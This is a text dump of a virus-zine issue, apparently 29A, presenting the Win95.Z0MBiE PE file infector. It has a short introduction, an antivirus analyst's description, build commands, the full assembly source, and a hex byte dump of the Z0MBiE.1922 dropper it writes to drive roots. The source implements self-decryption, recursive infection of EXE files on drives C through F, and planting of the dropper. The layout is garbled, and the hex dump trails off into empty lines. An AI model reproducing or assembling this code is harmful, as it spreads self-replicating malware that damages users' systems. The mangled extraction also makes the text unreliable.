PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE DISCARDABLE DISCARDABLE NONDISCARDABLE NONDISCARDABLE SHARED RESIDENT RESIDENT PRELOAD NONDISCARDABLE CONFORMING PRELOAD NONDISCARDABLE CONFORMING PRELOAD NONDISCARDABLE CONFORMING PRELOAD DISCARDABLE

EXPORTS LZD_DDB @1 ;---[MAKEFILE]---------------------------------------------------------------NAME = lzd LINK = LINK ASM AFLAGS ASMENV LFLAGS

= = = =

ml -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0 ML /VXD /NOD

.asm.obj: set $(ASMENV)=$(AFLAGS) $(ASM) -Fo$*.obj $< all : $(NAME).VXD OBJS = lzd.obj lzd.obj: lzd.asm $(NAME).VxD: $(NAME).def $(OBJS) link @<<$(NAME).lnk $(LFLAGS) /OUT:$(NAME).VxD /MAP:$(NAME).map /DEF:$(NAME).def $(OBJS) << @del @del @del @del ;...

*.exp>nul *.lib>nul *.map>nul *.obj>nul

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Win95.Z0MBiE ³ ³ v1.01, by Z0MBiE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis is the first collaboration of the russian virus writer Z0MBiE to 29A, and also his first Win95 PE infector. It is an encrypted runtime PE infector which, after having decrypted its body, locates KERNEL32.DLL and then looks in its export table for the address of the API functions used it the viral code. This virus has also the feature which consists on looking for files to infect in the Windows directory as well as in other units. PE infection consists on adding a new section (called .Z0MBiE) to infected executables and creating an entry point in it for the virus code. Last but not least, Win95.Z0MBiE, after having infected files in a given drive, inserts a dropper called ZSetUp.EXE in the root directory. This file is actually a dropper of the Z0MBiE.1922 virus, also included in this issue of 29A, in the "Viruses" section of the magazine. Its peculiarities are described there, together with the analysis of Igor Daniloff, same as the one which follows, describing the behavior of Win95.ZOMBiE.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Win95.Zombie Igor Daniloff DialogueScience Win95.Zombie is a nondestructive nonresident encrypted virus which infects PortableExecutable EXE files. On starting an infected file, the virus decryptor explodes the main virus body and passes control to it. The main virus body determines the location of KERNEL32 Export Table in memory and saves in its code the address of WIN32 KERNEL API functions that are essential for infecting files. Then the virus determines the command line of the currently-loaded infected program and loads it once again through the WinExec function. The second virus copy then infects the system. The first virus copy (that started a second copy the infected program), after completing the WinExec procedure, returns control to the host program. To infect PE EXE files, the virus scans the Windows system folder and also takes peeps into all other folders in drives C:, D:, E:, and F:. On detecting a PE EXE file, the virus analyzes the file. If all is well, the file is infected. Win95.Zombie creates a new segment section .Z0MBiE in the PE header, sets an entry point to it, and appends a copy of the encrypted code at the file end which is within the limits of the region of this segment section. After infecting the logical drive, the virus creates a dropper file ZSetUp.EXE in the root directory and assigns it ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a Zombie.1922 virus code. The virus contains a few text strings: Z0MBiE 1.01 (c) 1997 My 2nd virii for mustdie Tnx to S.S.R. Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE Tnx to S.S.R. ShadowRAM/Virtual Process Infector ShadowRAM Technology (c) 1996,97 Z0MBiE code................1398 viriisize...........4584

; ; ; ; ; ; ; ; ; ; ; ;

virtsize............8936 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm32 -ml -m5 -q -zn zombie.asm tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib pewrsec zombie.exe - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 .386 locals jumps .model

flat

extrn extrn

ExitProcess:PROC MessageBoxA:PROC

kernel

equ

0BFF70000H

FILE_ID PORT_ID

equ equ

'Z0' 'Z'

.data sux

db

'mustdie'

.code start:

cryptn @@1: xorword

decrsize codestart: subme

call

codestart

lea lea equ mov neg xor equ sub loop jmp

ebp, [eax - 401000H] edx, codestart[ebp] (viriisize-decrsize+3) / 4 ecx, cryptn dword ptr [edx] dword ptr [edx], 12345678h dword ptr $-4 edx, -4 @@1 codestart

align equ

4 $-start

lea sub equ push

ebp, [eax - 401000H] eax, 12345678h dword ptr $-4 eax

call

analizekernel

call

first

in cmp je

al, 81h al, PORT_ID exit_to_program

in cmp

al, 80h al, PORT_ID

je

infect

mov out

al, PORT_ID 80h, al

call

ExecExe

exit_to_program:

ret

infect:

mov out

al, -1 80h, al

call push push call

_GetModuleHandleA 9 eax _SetPriorityClass

; ; ; ;

; infect windows directory lea call lea call call

edx, infdir[ebp] getwindir edx, infdir[ebp] setdir infectdir

; recursive infect

exit_to_mustdie:

lea call call

edx, drive_c[ebp] recinfect1st createsetup

lea call call

edx, drive_d[ebp] recinfect1st createsetup

lea call call

edx, drive_e[ebp] recinfect1st createsetup

lea call call

edx, drive_f[ebp] recinfect1st createsetup

mov out

al, PORT_ID 81h, al

push call

-1 _ExitProcess

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ createsetup:

lea call

edx, zsetup[ebp] createfile

lea mov call

edx, z[ebp] ecx, z_size writefile

call

closefile

ret first:

pop

edi

mov mov

byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx byte ptr start[ebp], 0b9h

call jmp

infectfile exit_to_mustdie

ExecExe: SW_NORMAL

call equ push push call ret

_GetCommandLineA 1 SW_NORMAL eax _WinExec

recinfect1st:

call

setdir

recinfect:

call

infectdir

lea push lea push call mov inc jz

eax, win32_data_thang[ebp] eax eax, dirfiles[ebp] eax _FindFirstFileA edi, eax eax @@nomorefiles

lea mov cmp jne

eax, fileattr[ebp] al, [eax] al, 10h ; directory ? @@findnext

lea cmp je call

edx, fullname[ebp] byte ptr [edx], '.' @@findnext setdir

push lea call pop

edi edx, fullname[ebp] recinfect edi

lea call

edx, prev_dir[ebp] setdir

lea push push call

eax, win32_data_thang[ebp] eax edi _FindNextFileA

or jnz

eax, eax @@processfile

@@processfile:

@@findnext:

@@nomorefiles:

ret

nokerneldll: nofunction: exit:

jmp

analizekernel: @@1:

mov ; cmp ; ja lea mov

$ esi, kernel esi, kernel + 040000h nokernelfunc edi, kernel_sign[ebp] ecx, kernel_sign_size

kernelfound:

@@1:

rep jne

cmpsb @@1

sub mov

esi, kernel_sign_size kernel_call[ebp], esi

mov lodsw cmp jne

esi, kernel

add lodsd

esi, 003Ch-2

lea lodsd cmp jne

esi, [esi + eax - 3ch - 4]

add

esi, 78h-4

lodsd add xchg

eax, kernel + 10h esi, eax

lodsd lodsd lodsd mov

funcnum[ebp], eax

lodsd add mov

eax, kernel entrypointptr[ebp], eax

lodsd add mov

eax, kernel nameptr[ebp], eax

lodsd add mov

eax, kernel ordinalptr[ebp], eax

lea lea

edx, names[ebp] edi, fns[ebp]

push call pop

edi findfunction edi

inc stosd add

edi

; 68

edi, 6

; jmp kernel_call[ebp]

mov

edx, esi

cmp jne

byte ptr [esi], 0 @@1

ax, 'ZM' nokerneldll

eax, 'EP' nokerneldll

ret findfunction: funcnum

mov equ xor

ecx, 12345678h dword ptr $-4 ebx, ebx

; esi=.edata

findnextfunc:

mov

esi, edx

nameptr

mov equ add

edi, [ebx + 12345678h] dword ptr $-4 edi, kernel

cmpsb jne

@@1

cmp jne

byte ptr [esi-1], 0 @@2

@@2:

; found

ordinalptr

entrypointptr

shr movzx equ shl mov equ add

ebx, 1 eax, word ptr [ebx + 12345678h] dword ptr $-4 eax, 2 eax, [eax + 12345678h] dword ptr $-4 eax, kernel

ret @@1:

infectdir:

@@next:

searchhandle

@@exit:

add loop

ebx, 4 findnextfunc

jmp

nofunction

lea push lea push call

eax, win32_data_thang[ebp] eax eax, exefiles[ebp] eax _FindFirstFileA

mov inc jz

searchhandle[ebp], eax eax @@exit

call

infectfile

lea push push equ call

eax, win32_data_thang[ebp] eax 12345678h dword ptr $-4 _FindNextFileA

or jnz

eax, eax @@next

ret ; input: ECX=file attr ; EDX=file ; output: EAX=handle

openfile:

push push push push push

0 ecx 3 ; OPEN_EXISTING 0 0

push push call mov ret

80000000h + 40000000h edx _CreateFileA handle[ebp], eax

; input: EDX=file ; output: EAX=handle createfile:

push push push push push push push call mov ret

0 ecx 1 ; CREATE 0 0 80000000h + 40000000h edx _CreateFileA handle[ebp], eax

seekfile:

push push push push call ret

0 0 edx handle[ebp] _SetFilePointer

closefile:

push call ret

handle[ebp] _CloseHandle

; input: ECX=bytes to read ; EDX=buf readfile:

push lea push push push push call ret

0 eax, bytesread[ebp] eax ecx edx handle[ebp] _ReadFile

; input: ECX=bytes to read ; EDX=buf writefile:

push lea push push push push call ret

0 eax, bytesread[ebp] eax ecx edx handle[ebp] _WriteFile

; input: EDX=offset directory (256 byte) getdir:

cld push push call ret

edx 255 _GetCurrentDirectoryA

; input: EDX=directory setdir:

push call ret

getwindir:

cld push push call ret

255 edx _GetWindowsDirectoryA

in cmp jne

al, 82h al, PORT_ID @@continue

lea cmp jne

eax, fullname[ebp] dword ptr [eax], 'BM0Z' @@exit

mov lea call

ecx, fileattr[ebp] edx, fullname[ebp] openfile

inc jz

eax @@exit

infectfile:

@@continue:

edx _SetCurrentDirectoryA

; goto the dword that stores the location of the pe header mov call

edx, 3Ch seekfile

; read in the location of the pe header mov lea call

ecx, 4 edx, peheaderoffset[ebp] readfile

mov call

edx, peheaderoffset[ebp] seekfile

; goto the pe header

; read in enuff to calculate the full size of the pe header and object table mov lea call

ecx, 256 edx, peheader[ebp] readfile

; make sure it is a pe header and is not already infected cmp dword ptr peheader[ebp],'EP' jne @@close cmp word ptr peheader[ebp] + 4ch, FILE_ID je @@close cmp dword ptr peheader[ebp] + 52, 00400000h jne @@close ; go back to the start of the pe header mov edx, peheaderoffset[ebp] call seekfile ; read in the whole pe header and object table lea edx, peheader[ebp] mov ecx, headersize[ebp]

cmp ja call

ecx, maxbufsize @@close readfile

mov

word ptr peheader[ebp] + 4ch, FILE_ID

; locate offset of object table xor mov add mov

eax, eax ax, NtHeaderSize[ebp] eax, 18h objecttableoffset[ebp],eax

; calculate the offset of the last (null) object in the object table mov esi, objecttableoffset[ebp] lea eax, peheader[ebp] add esi, eax xor eax, eax mov ax, numObj[ebp] mov ecx, 40 xor edx, edx mul ecx add esi, eax inc

numObj[ebp]

; inc the number of objects

lea xchg

edi, newobject[ebp] edi,esi

; calculate the Relative Virtual Address (RVA) of the new object mov add mov xor div inc mul mov

eax, [edi-5*8+8] eax, [edi-5*8+12] ecx, objalign[ebp] edx,edx ecx eax ecx RVA[ebp], eax

; calculate the physical size of the new object mov ecx, filealign[ebp] mov eax, viriisize xor edx, edx div ecx inc eax mul ecx mov physicalsize[ebp],eax ; calculate the virtual size of the new object mov ecx, objalign[ebp] mov eax, virtsize xor edx,edx div ecx inc eax mul ecx mov virtualsize[ebp],eax ; calculate the physical offset mov add mov xor div

of the new object eax,[edi-5*8+20] eax,[edi-5*8+16] ecx, filealign[ebp] edx,edx ecx

inc mul mov

eax ecx physicaloffset[ebp],eax

; update the image size (the size in memory) of the file mov eax, virtsize add eax, imagesize[ebp] mov ecx, objalign[ebp] xor edx, edx div ecx inc eax mul ecx mov imagesize[ebp],eax ; copy the new object into the object table mov ecx, 40/4 rep movsd ; calculate the entrypoint RVA mov eax, RVA[ebp] mov mov sub

ebx, entrypointRVA[ebp] entrypointRVA[ebp], eax eax, ebx

; Set the value needed to return to the host mov subme[ebp], eax ; go back to the start of the pe header mov edx, peheaderoffset[ebp] call seekfile ; write the pe header and object table to the file mov ecx, headersize[ebp] lea edx, peheader[ebp] call writefile ; move to the physical offset of the new object mov edx, physicaloffset[ebp] call seekfile ; write the virus code to the new object

@@1:

call mov

random xorword[ebp], eax

lea mov call

edx, start[ebp] ecx, decrsize writefile

lea lea mov lodsd xor neg stosd loop

esi, codestart[ebp] edi, buf[ebp] ecx, cryptn

lea mov call

edx, buf[ebp] ecx, viriisize-decrsize writefile

eax, xorword[ebp] eax @@1

@@close:

call

@@exit:

ret

closefile

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; output: eax=rnd ; zf=rnd(2) random:

call shl

random16bit eax, 16

random16bit:

push mov equ in xor in add in sub in xor in add in sub mov xchg pop test ret

ebx bx, 1234h word ptr $-2 al, 40h bl, al al, 40h bh, al al, 41h bl, al al, 41h bh, al al, 42h bl, al al, 42h bh, al rndword[ebp], bx bx, ax ebx al, 1

rndword

; input: eax ; output: eax=rnd(eax) ; zf=rnd(2) rnd:

push push xchg call xor div xchg pop pop test ret

ebx edx ebx, eax random edx, edx ebx edx, eax edx ebx al, 1

codesize

equ

$-start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ kernel_sign:

kernel_sign_size

pushfd cld push push push equ

; <- kernel eax ebx edx $-kernel_sign

kernel_call

dd

?

names:

fns: def_fn _&name&: fn_&name&

db db db db db db db db db db db db db db db db

'ExitProcess',0 'FindFirstFileA',0 'FindNextFileA',0 'CreateFileA',0 'SetFilePointer',0 'ReadFile',0 'WriteFile',0 'CloseHandle',0 'GetCurrentDirectoryA',0 'SetCurrentDirectoryA',0 'GetWindowsDirectoryA',0 'GetCommandLineA',0 'WinExec',0 'SetPriorityClass',0 'GetModuleHandleA',0 0

macro db dd jmp endm

name 68h ? kernel_call[ebp]

def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn def_fn

ExitProcess FindFirstFileA FindNextFileA CreateFileA SetFilePointer ReadFile WriteFile CloseHandle GetCurrentDirectoryA SetCurrentDirectoryA GetWindowsDirectoryA GetCommandLineA WinExec SetPriorityClass GetModuleHandleA

bytesread

dd

?

drive_c drive_d drive_e drive_f

db db db db

'C:\',0 'D:\',0 'E:\',0 'F:\',0

exefiles dirfiles

db db

'*.EXE',0 '*.',0

prev_dir

db

'..',0

win32_data_thang: fileattr createtime lastaccesstime lastwritetime filesize resv fullname realname

dd dd dd dd dd dd db db

0 0,0 0,0 0,0 0,0 0,0 'Z0MB.EXE',256-8 dup (0) 256 dup (0)

handle

dd

?

peheaderoffset objecttableoffset

dd dd

? ?

db dd dd dd dd dd db

;1234567 8 '.Z0MBiE',0 0 0 0 0 0,0,0 40h,0,0,0c0h

newobject: oname virtualsize RVA physicalsize physicaloffset reserved objectflags

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 13,10,'Z0MBiE 1.01 (c) 1997',13,10 db 'My 2nd virii for mustdie',13,10 db 'Tnx to S.S.R.',13,10 m1

macro if db else db endif if db else db endif if db else db endif db db db endm

n n ge 100000 n / 10000/10 mod 10 + '0' '.' n ge 10000 n / 10000 mod 10 + '0' '.' n ge 1000 n / 1000 mod 10 + '0' '.' n / n / n /

100 mod 10 + '0' 10 mod 10 + '0' 1 mod 10 + '0',13,10

; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ zsetup db '\ZSetUp.EXE',0 z: include z.inc ; Z0MBiE.1922 z_size equ $-z ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

m1 m1 m1 peheader: signature cputype numObj NtHeaderSize Flags

db 13,10 db 'code..............' codesize db 'viriisize.........' viriisize db 'virtsize..........' virtsize

dd dw dw dd dw dw

0 0 0 3 dup (0) 0 0

imagesize headersize peheader_size

dd dd dd dd dd dd dd dd equ

4 dup (0) 0 3 dup (0) 0 0 4 dup (0) 0 0 $-peheader

viriisize

align equ

4 $-start

infdir

db

256 dup (?)

maxbufsize buf

equ db

4096 maxbufsize dup (?)

virtsize

equ end

$-start start

entrypointRVA objalign filealign

; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 abc_size abc_num

equ equ

1922 1922

; size in bytes ; size in elements

abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

